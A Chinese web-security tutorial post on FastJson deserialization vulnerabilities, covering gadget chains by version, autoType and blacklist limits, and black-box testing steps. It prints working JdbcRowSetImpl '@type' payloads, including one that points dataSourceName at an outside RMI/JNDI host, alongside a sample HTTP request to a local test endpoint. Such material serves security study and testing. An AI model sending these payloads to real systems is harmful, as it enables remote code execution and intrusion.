JAVA攻防-FastJson专题&各版本Gadget链&autoType开关&黑名单&依赖包&本地代码

Ethan医生3个月前WEB安全106

#FastJson反序列化各版本利用链分析

参考文章:https://xz.aliyun.com/news/14309

参考文章:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>x.x.xx</version>

</dependency>

 

应用知识:

1、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

2、反序列化方法:

JSON.parseObject(),返回JsonObject

JSON.parse(),返回Object

JSON.parseArray(), 返回JSONArray

将JSON对象转换为java对象:JSON.toJavaObject()

将JSON对象写入write流:JSON.writeJSONString()

3、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

 

使用引出安全:

1、序列化固定类后:

parse方法在调用时会调用set方法

parseObject在调用时会调用set和get方法

2、反序列化指定类后:

parseObject在调用时会调用set方法

 

安全利用链:

JDK自带链-JdbcRowSetImpl

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

String payload = "{" +

"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +

"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +

"\"autoCommit\":true" +

"}";

JSON.parse(payload);

 

 

版本24Payload解析:

1、反序列化对象:com.sun.rowset.JdbcRowSetImpl

2、改动的成员变量:dataSourceName autoCommit

3、setdataSourceName->getdataSourceName

4、setautoCommit->connect->

InitialContext.lookup(getDataSourceName());

 

测试:1.2.24 1.2.47 1.2.62 1.2.80等版本差异

总结:

*1.2.47<=可利用JDK自带链实现RCE

*1.2.47-1.2.80中利用链为依赖包或本地代码

其中依赖包还需要开启autoType,本地代码无需(黑盒不适用

*1.2.80后续版本目前无

 

黑盒测试思路点:

能不能测试核心:

1、符合java应用 有json数据传递 或者报错显示用到fastjson类

2、传递的数据不管加密或无密能识别出json格式 直接poc替换测试

POST /home/fastjson HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cache-Control: no-cache

Connection: keep-alive

Content-Length: 112

Content-Type: application/json

Cookie: java-chains-token-key=admin_token; JSESSIONID=22BE2078F5D60DE4851FE00D9610CB51

Host: 127.0.0.1:8000

Origin: http://127.0.0.1:8000

Pragma: no-cache

Referer: http://127.0.0.1:8000/fastjson

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0

X-Requested-With: XMLHttpRequest

sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Microsoft Edge";v="134"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

 

 

明文 加密(整体或部分) 编码 (加解密的分析 js逆向)

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

 

 

满足于fastjson漏洞测试(黑盒)


相关文章

JAVA攻防-专题漏洞&SPEL表达式&SSTI模版&Swagger接口&Actuator泄露&Spring特检

➢ Java攻防-常规漏洞-注入&RCE&XXE➢ Java攻防-常规漏洞-跳转&SSRF&FILE➢ Java攻防-专题漏洞-SPEL&...

JAVA攻防-专题漏洞&反序列化&原生类引用&三方组件&JNDI注入&版本限制&审计Sink

JAVA攻防-专题漏洞&反序列化&原生类引用&三方组件&JNDI注入&版本限制&审计Sink

➢ Java攻防-专题漏洞-原生类反序列化➢ Java攻防-专题漏洞-三方组件反序列化#Java安全-反序列化-原生类序列化是将Java对象转换成字节流的过程。而反序列化是将字节流...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

Web攻防-业务逻辑篇&购买支付&篡改属性值&算法溢出&签约并发&四舍五入法&订单对冲

#支付逻辑常见测试:1、熟悉常见支付流程选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付2、熟悉那些数据篡改商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态...

Web攻防-业务逻辑篇&Fuzz技术&数据并发&条件竞争&JS挖掘&参数盲猜&Turbo插件&复盘

Web攻防-业务逻辑篇&Fuzz技术&数据并发&条件竞争&JS挖掘&参数盲猜&Turbo插件&复盘

#Fuzz是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试。 Fuzz的核心思想:口令Fuzz(弱口令)目录Fu...

XSS跨站&浏览器UXSS&突变MXSS&Vue&React框架&JQuery库&写法和版本

分类:1、框架或三方库的XSS2、浏览器或插件的XSS3、客户端预览内核的XSS说明:使用框架开发的或第三方库引用操作的,默认安全写法会自带过滤,所以测试此类的应用需存在漏洞版本或不安全写法导致XSS...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。